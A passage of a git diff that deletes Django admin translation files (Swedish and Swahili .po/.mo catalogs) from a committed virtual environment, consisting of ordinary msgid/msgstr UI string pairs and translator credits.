2022-2023 -# Alex Nordlund , 2012 -# Anders Hovmöller , 2023 -# Andreas Pelme , 2014 -# d7bcbd5f5cbecdc2b959899620582440, 2011 -# Cybjit , 2012 -# Elias Johnstone , 2022 -# Henrik Palmlund Wahlgren , 2019 -# Jannis Leidel , 2011 -# Johan Rohdin, 2021 -# Jonathan Lindén, 2015 -# Jörgen Olofsson, 2024 -# Jonathan Lindén, 2014 -# metteludwig , 2019 -# Mattias Hansson , 2016 -# nip3o , 2024 -# Mikko Hellsing , 2011 -# Thomas Lundqvist, 2013,2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: nip3o , 2024\n" -"Language-Team: Swedish (http://app.transifex.com/django/django/language/" -"sv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sv\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Ta bort markerade %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Tog bort %(count)d %(items)s" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kan inte ta bort %(name)s" - -msgid "Delete multiple objects" -msgstr "Ta bort flera objekt" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "Alla" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nej" - -msgid "Unknown" -msgstr "Okänt" - -msgid "Any date" -msgstr "Alla datum" - -msgid "Today" -msgstr "Idag" - -msgid "Past 7 days" -msgstr "Senaste 7 dagarna" - -msgid "This month" -msgstr "Denna månad" - -msgid "This year" -msgstr "Detta år" - -msgid "No date" -msgstr "Inget datum" - -msgid "Has date" -msgstr "Har datum" - -msgid "Empty" -msgstr "Tom" - -msgid "Not empty" -msgstr "Inte tom" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Ange %(username)s och lösenord för ett personalkonto. Notera att båda fälten " -"är skiftlägeskänsliga." - -msgid "Action:" -msgstr "Åtgärd:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Lägg till ytterligare %(verbose_name)s" - -msgid "Remove" -msgstr "Ta bort" - -msgid "Addition" -msgstr "Tillägg" - -msgid "Change" -msgstr "Ändra" - -msgid "Deletion" -msgstr "Borttagning" - -msgid "action time" -msgstr "händelsetid" - -msgid "user" -msgstr "användare" - -msgid "content type" -msgstr "innehållstyp" - -msgid "object id" -msgstr "objektets id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objektets beskrivning" - -msgid "action flag" -msgstr "händelseflagga" - -msgid "change message" -msgstr "ändra meddelande" - -msgid "log entry" -msgstr "loggpost" - -msgid "log entries" -msgstr "loggposter" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Lade till \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Ändrade “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Tog bort “%(object)s.”" - -msgid "LogEntry Object" -msgstr "LogEntry-Objekt" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Lade till {name} “{object}”." - -msgid "Added." -msgstr "Lagt till." - -msgid "and" -msgstr "och" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Ändrade {fields} för {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Ändrade {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Tog bort {name} “{object}”." - -msgid "No fields changed." -msgstr "Inga fält ändrade." - -msgid "None" -msgstr "Inget" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Håll inne “Control”, eller “Command” på en Mac, för att välja fler än en." - -msgid "Select this object for an action - {}" -msgstr "Välj detta objekt för en åtgärd - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Lade till {name} “{obj}”." - -msgid "You may edit it again below." -msgstr "Du kan redigera det igen nedan" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "Lade till {name} “{obj}”. Du kan lägga till ytterligare {name} nedan." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "Ändrade {name} “{obj}”. Du kan göra ytterligare förändringar nedan." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "Ändrade {name} “{obj}”. Du kan lägga till ytterligare {name} nedan." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Ändrade {name} “{obj}”." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Poster måste väljas för att genomföra åtgärder. Inga poster har ändrats." - -msgid "No action selected." -msgstr "Inga åtgärder valda." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Tog bort %(name)s “%(obj)s”." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s med ID “%(key)s” finns inte. Kan den ha blivit borttagen?" - -#, python-format -msgid "Add %s" -msgstr "Lägg till %s" - -#, python-format -msgid "Change %s" -msgstr "Ändra %s" - -#, python-format -msgid "View %s" -msgstr "Visa %s" - -msgid "Database error" -msgstr "Databasfel" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s ändrades." -msgstr[1] "%(count)s %(name)s ändrades." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s vald" -msgstr[1] "Alla %(total_count)s valda" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 av %(cnt)s valda" - -msgid "Delete" -msgstr "Radera" - -#, python-format -msgid "Change history: %s" -msgstr "Ändringshistorik: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Borttagning av %(class_name)s %(instance)s kräver borttagning av följande " -"skyddade relaterade objekt: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django webbplatsadministration" - -msgid "Django administration" -msgstr "Django-administration" - -msgid "Site administration" -msgstr "Webbplatsadministration" - -msgid "Log in" -msgstr "Logga in" - -#, python-format -msgid "%(app)s administration" -msgstr "Administration av %(app)s" - -msgid "Page not found" -msgstr "Sidan kunde inte hittas" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Tyvärr kunde inte den begärda sidan hittas." - -msgid "Home" -msgstr "Hem" - -msgid "Server error" -msgstr "Serverfel" - -msgid "Server error (500)" -msgstr "Serverfel (500)" - -msgid "Server Error (500)" -msgstr "Serverfel (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ett fel har inträffat. Felet är rapporterat till sidans administratörer via " -"e-post och bör vara åtgärdat inom kort. Tack för ditt tålamod." - -msgid "Run the selected action" -msgstr "Kör markerade operationer" - -msgid "Go" -msgstr "Utför" - -msgid "Click here to select the objects across all pages" -msgstr "Klicka här för att välja alla objekt från alla sidor" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Välj alla %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Rensa urval" - -msgid "Breadcrumbs" -msgstr "Brödsmulor" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeller i applikationen %(name)s" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Lägg till" - -msgid "View" -msgstr "Visa" - -msgid "You don’t have permission to view or edit anything." -msgstr "Du har inte tillåtelse att se eller ändra någonting." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Ändra lösenord" - -msgid "Set password" -msgstr "Sätt lösenord" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Var god rätta felet nedan." -msgstr[1] "Var god rätta felen nedan." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Ange nytt lösenord för användare %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Denna åtgärd aktiverar lösenordsbaserad autentisering för " -"denna användare." - -msgid "Disable password-based authentication" -msgstr "Inaktivera lösenordsbaserad autentisering" - -msgid "Enable password-based authentication" -msgstr "Aktivera lösenordsbaserad autentisering" - -msgid "Skip to main content" -msgstr "Hoppa till huvudinnehållet" - -msgid "Welcome," -msgstr "Välkommen," - -msgid "View site" -msgstr "Visa sida" - -msgid "Documentation" -msgstr "Dokumentation" - -msgid "Log out" -msgstr "Logga ut" - -#, python-format -msgid "Add %(name)s" -msgstr "Lägg till %(name)s" - -msgid "History" -msgstr "Historik" - -msgid "View on site" -msgstr "Visa på webbplats" - -msgid "Filter" -msgstr "Filtrera" - -msgid "Hide counts" -msgstr "Dölj antal" - -msgid "Show counts" -msgstr "Visa antal" - -msgid "Clear all filters" -msgstr "Rensa alla filter" - -msgid "Remove from sorting" -msgstr "Ta bort från sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteringsprioritet: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Ändra sorteringsordning" - -msgid "Toggle theme (current theme: auto)" -msgstr "Växla tema (aktuellt tema: automatiskt)" - -msgid "Toggle theme (current theme: light)" -msgstr "Växla tema (aktuellt tema: ljust)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Växla tema (aktuellt tema: mörkt)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Att ta bort %(object_name)s '%(escaped_object)s' skulle innebära att " -"relaterade objekt togs bort, men ditt konto har inte rättigheter att ta bort " -"följande objekttyper:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Borttagning av %(object_name)s '%(escaped_object)s' kräver borttagning av " -"följande skyddade relaterade objekt:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Är du säker på att du vill ta bort %(object_name)s \"%(escaped_object)s\"? " -"Följande relaterade objekt kommer att tas bort:" - -msgid "Objects" -msgstr "Objekt" - -msgid "Yes, I’m sure" -msgstr "Ja, jag är säker" - -msgid "No, take me back" -msgstr "Nej, ta mig tillbaka" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Borttagning av valda %(objects_name)s skulle resultera i borttagning av " -"relaterade objekt, men ditt konto har inte behörighet att ta bort följande " -"typer av objekt:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Borttagning av valda %(objects_name)s skulle kräva borttagning av följande " -"skyddade objekt:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Är du säker på att du vill ta bort valda %(objects_name)s? Alla följande " -"objekt samt relaterade objekt kommer att tas bort: " - -msgid "Delete?" -msgstr "Radera?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " På %(filter_title)s " - -msgid "Summary" -msgstr "Översikt" - -msgid "Recent actions" -msgstr "Senaste Händelser" - -msgid "My actions" -msgstr "Mina händelser" - -msgid "None available" -msgstr "Inga tillgängliga" - -msgid "Added:" -msgstr "Lagt till:" - -msgid "Changed:" -msgstr "Ändrade:" - -msgid "Deleted:" -msgstr "Raderade:" - -msgid "Unknown content" -msgstr "Okänt innehåll" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Någonting är fel med din databas-installation. Kontrollera att relevanta " -"tabeller i databasen är skapta, och kontrollera även att databasen är läsbar " -"av rätt användare." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Du är autentiserad som %(username)s men är inte behörig att komma åt denna " -"sida. Vill du logga in med ett annat konto?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Växla navigering" - -msgid "Sidebar" -msgstr "Sidopanel" - -msgid "Start typing to filter…" -msgstr "Börja skriv för att filtrera..." - -msgid "Filter navigation items" -msgstr "Filtrera navigeringsobjekt" - -msgid "Date/time" -msgstr "Datum tid" - -msgid "User" -msgstr "Användare" - -msgid "Action" -msgstr "Händelse" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "post" -msgstr[1] "poster" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Det här objektet har ingen förändringshistorik. Det var antagligen inte " -"tillagt via den här admin-sidan." - -msgid "Show all" -msgstr "Visa alla" - -msgid "Save" -msgstr "Spara" - -msgid "Popup closing…" -msgstr "Popup stängs..." - -msgid "Search" -msgstr "Sök" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultat" -msgstr[1] "%(counter)s resultat" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s totalt" - -msgid "Save as new" -msgstr "Spara som ny" - -msgid "Save and add another" -msgstr "Spara och lägg till ny" - -msgid "Save and continue editing" -msgstr "Spara och fortsätt redigera" - -msgid "Save and view" -msgstr "Spara och visa" - -msgid "Close" -msgstr "Stäng" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Ändra markerade %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Lägg till %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Ta bort markerade %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Visa valda %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Tack för att du spenderade kvalitetstid med webbplatsen idag." - -msgid "Log in again" -msgstr "Logga in igen" - -msgid "Password change" -msgstr "Ändra lösenord" - -msgid "Your password was changed." -msgstr "Ditt lösenord har ändrats." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Vänligen ange ditt gamla lösenord, för säkerhets skull, och ange därefter " -"ditt nya lösenord två gånger så att vi kan kontrollera att du skrivit rätt." - -msgid "Change my password" -msgstr "Ändra mitt lösenord" - -msgid "Password reset" -msgstr "Nollställ lösenord" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Ditt lösenord har ändrats. Du kan nu logga in." - -msgid "Password reset confirmation" -msgstr "Bekräftelse av lösenordsnollställning" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Var god fyll i ditt nya lösenord två gånger så vi kan kontrollera att du " -"skrev det rätt." - -msgid "New password:" -msgstr "Nytt lösenord:" - -msgid "Confirm password:" -msgstr "Bekräfta lösenord:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Länken för lösenordsnollställning var felaktig, möjligen därför att den " -"redan använts. Var god skicka en ny nollställningsförfrågan." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Vi har via e-post skickat dig instruktioner för hur du ställer in ditt " -"lösenord, om ett konto finns med e-posten du angav. Du borde få " -"instruktionerna inom kort." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Om du inte fick ett e-postmeddelande; kontrollera att e-postadressen är " -"densamma som du registrerade dig med, och kolla i din skräppost." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Du får detta e-postmeddelande för att du har begärt återställning av ditt " -"lösenord av ditt konto på %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Var god gå till följande sida och välj ett nytt lösenord:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Tack för att du använder vår webbplats!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s-teamet" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Har du glömt ditt lösenord? Ange din e-postadress nedan, så skickar vi dig " -"instruktioner för hur du ställer in ett nytt." - -msgid "Email address:" -msgstr "E-postadress:" - -msgid "Reset my password" -msgstr "Nollställ mitt lösenord" - -msgid "Select all objects on this page for an action" -msgstr "Välj alla objekt på denna sida för en åtgärd" - -msgid "All dates" -msgstr "Alla datum" - -#, python-format -msgid "Select %s" -msgstr "Välj %s" - -#, python-format -msgid "Select %s to change" -msgstr "Välj %s att ändra" - -#, python-format -msgid "Select %s to view" -msgstr "Välj %s för visning" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Tid:" - -msgid "Lookup" -msgstr "Uppslag" - -msgid "Currently:" -msgstr "Nuvarande:" - -msgid "Change:" -msgstr "Ändra:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 47d3efe9..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.po deleted file mode 100644 index 28bd355f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,328 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Anders Hovmöller , 2023 -# Andreas Pelme , 2012,2024 -# Danijel Grujicic, 2023 -# Elias Johnstone , 2022 -# Jannis Leidel , 2011 -# Jörgen Olofsson, 2024 -# Jonathan Lindén, 2014 -# Mattias Hansson , 2016 -# Mattias Benjaminsson , 2011 -# Samuel Linde , 2011 -# Thomas Lundqvist, 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:59+0000\n" -"Last-Translator: Jörgen Olofsson, 2024\n" -"Language-Team: Swedish (http://app.transifex.com/django/django/language/" -"sv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sv\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Tillgängliga %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Detta är listan med tillgängliga %s. Du kan välja ut vissa genom att markera " -"dem i rutan nedan och sedan klicka på \"Välj\"-knapparna mellan de två " -"rutorna." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Skriv i denna ruta för att filtrera listan av tillgängliga %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Välj alla" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klicka för att välja alla %s på en gång." - -msgid "Choose" -msgstr "Välj" - -msgid "Remove" -msgstr "Ta bort" - -#, javascript-format -msgid "Chosen %s" -msgstr "Välj %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Detta är listan med utvalda %s. Du kan ta bort vissa genom att markera dem i " -"rutan nedan och sedan klicka på \"Ta bort\"-pilen mellan de två rutorna." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Skriv i denna ruta för att filtrera listan av tillgängliga %s." - -msgid "Remove all" -msgstr "Ta bort alla" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klicka för att ta bort alla valda %s på en gång." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s valt alternativ inte synligt" -msgstr[1] "%s valda alternativ inte synliga" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s av %(cnt)s markerade" -msgstr[1] "%(sel)s av %(cnt)s markerade" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Du har ändringar som inte sparats i enskilda redigerbara fält. Om du kör en " -"operation kommer de ändringar som inte sparats att gå förlorade." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Du har markerat en operation, men du har inte sparat sparat dina ändringar " -"till enskilda fält ännu. Var vänlig klicka OK för att spara. Du kommer att " -"behöva köra operationen på nytt." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Du har markerat en operation och du har inte gjort några ändringar i " -"enskilda fält. Du letar antagligen efter Utför-knappen snarare än Spara." - -msgid "Now" -msgstr "Nu" - -msgid "Midnight" -msgstr "Midnatt" - -msgid "6 a.m." -msgstr "06:00" - -msgid "Noon" -msgstr "Middag" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Notera: Du är %s timme före serverns tid." -msgstr[1] "Notera: Du är %s timmar före serverns tid." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Notera: Du är %s timme efter serverns tid." -msgstr[1] "Notera: Du är %s timmar efter serverns tid." - -msgid "Choose a Time" -msgstr "Välj en tidpunkt" - -msgid "Choose a time" -msgstr "Välj en tidpunkt" - -msgid "Cancel" -msgstr "Avbryt" - -msgid "Today" -msgstr "I dag" - -msgid "Choose a Date" -msgstr "Välj ett datum" - -msgid "Yesterday" -msgstr "I går" - -msgid "Tomorrow" -msgstr "I morgon" - -msgid "January" -msgstr "januari" - -msgid "February" -msgstr "februari" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "augusti" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec" - -msgid "Sunday" -msgstr "Söndag" - -msgid "Monday" -msgstr "Måndag" - -msgid "Tuesday" -msgstr "Tisdag" - -msgid "Wednesday" -msgstr "Onsdag" - -msgid "Thursday" -msgstr "Torsdag" - -msgid "Friday" -msgstr "Fredag" - -msgid "Saturday" -msgstr "Lördag" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "sön" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "mån" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "tis" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "ons" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "tors" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "fre" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "lör" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "O" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.mo deleted file mode 100644 index 08159d71..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.po deleted file mode 100644 index afbca8e7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/django.po +++ /dev/null @@ -1,779 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antony Owino , 2023 -# DOREEN WANYAMA, 2023 -# Machaku, 2013-2014 -# Machaku, 2016 -# Millicent Atieno Obwanda , 2023 -# Natalia (Django Fellow), 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-25 07:05+0000\n" -"Last-Translator: DOREEN WANYAMA, 2023\n" -"Language-Team: Swahili (http://app.transifex.com/django/django/language/" -"sw/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sw\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Futa %(verbose_name_plural)s teule" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Umefanikiwa kufuta %(items)s %(count)d." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Huwezi kufuta %(name)s" - -msgid "Are you sure?" -msgstr "Una uhakika?" - -msgid "Administration" -msgstr "Utawala" - -msgid "All" -msgstr "yote" - -msgid "Yes" -msgstr "Ndiyo" - -msgid "No" -msgstr "Hapana" - -msgid "Unknown" -msgstr "Haijulikani" - -msgid "Any date" -msgstr "Tarehe yoyote" - -msgid "Today" -msgstr "Leo" - -msgid "Past 7 days" -msgstr "Siku 7 zilizopita" - -msgid "This month" -msgstr "mwezi huu" - -msgid "This year" -msgstr "Mwaka huu" - -msgid "No date" -msgstr "Hakuna tarehe" - -msgid "Has date" -msgstr "Kuna tarehe" - -msgid "Empty" -msgstr "tupu" - -msgid "Not empty" -msgstr "si tupu" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Tafadhali ingiza %(username)s na nywila sahihi kwa akaunti ya msimamizi. " -"Kumbuka kuzingatia herufi kubwa na ndogo." - -msgid "Action:" -msgstr "Tendo" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Ongeza %(verbose_name)s" - -msgid "Remove" -msgstr "Ondoa" - -msgid "Addition" -msgstr "ongeza" - -msgid "Change" -msgstr "Badilisha" - -msgid "Deletion" -msgstr "Ufutaji" - -msgid "action time" -msgstr "muda wa tendo" - -msgid "user" -msgstr "mtumiaji" - -msgid "content type" -msgstr "aina ya maudhui" - -msgid "object id" -msgstr "Kitambulisho cha kitu" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "`repr` ya kitu" - -msgid "action flag" -msgstr "bendera ya tendo" - -msgid "change message" -msgstr "badilisha ujumbe" - -msgid "log entry" -msgstr "ingizo kwenye kumbukumbu" - -msgid "log entries" -msgstr "maingizo kwenye kumbukumbu" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” Imeongezwa" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Kubadilishwa kwa “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Kimefutwa “%(object)s”" - -msgid "LogEntry Object" -msgstr "Kitu cha Ingizo la Kumbukumbu" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Kumeongezwa {name} “{object}”." - -msgid "Added." -msgstr "Imeongezwa" - -msgid "and" -msgstr "na" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Mabadiliko ya {fields} yamefanyika kwenye {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Mabadiliko yamefanyika 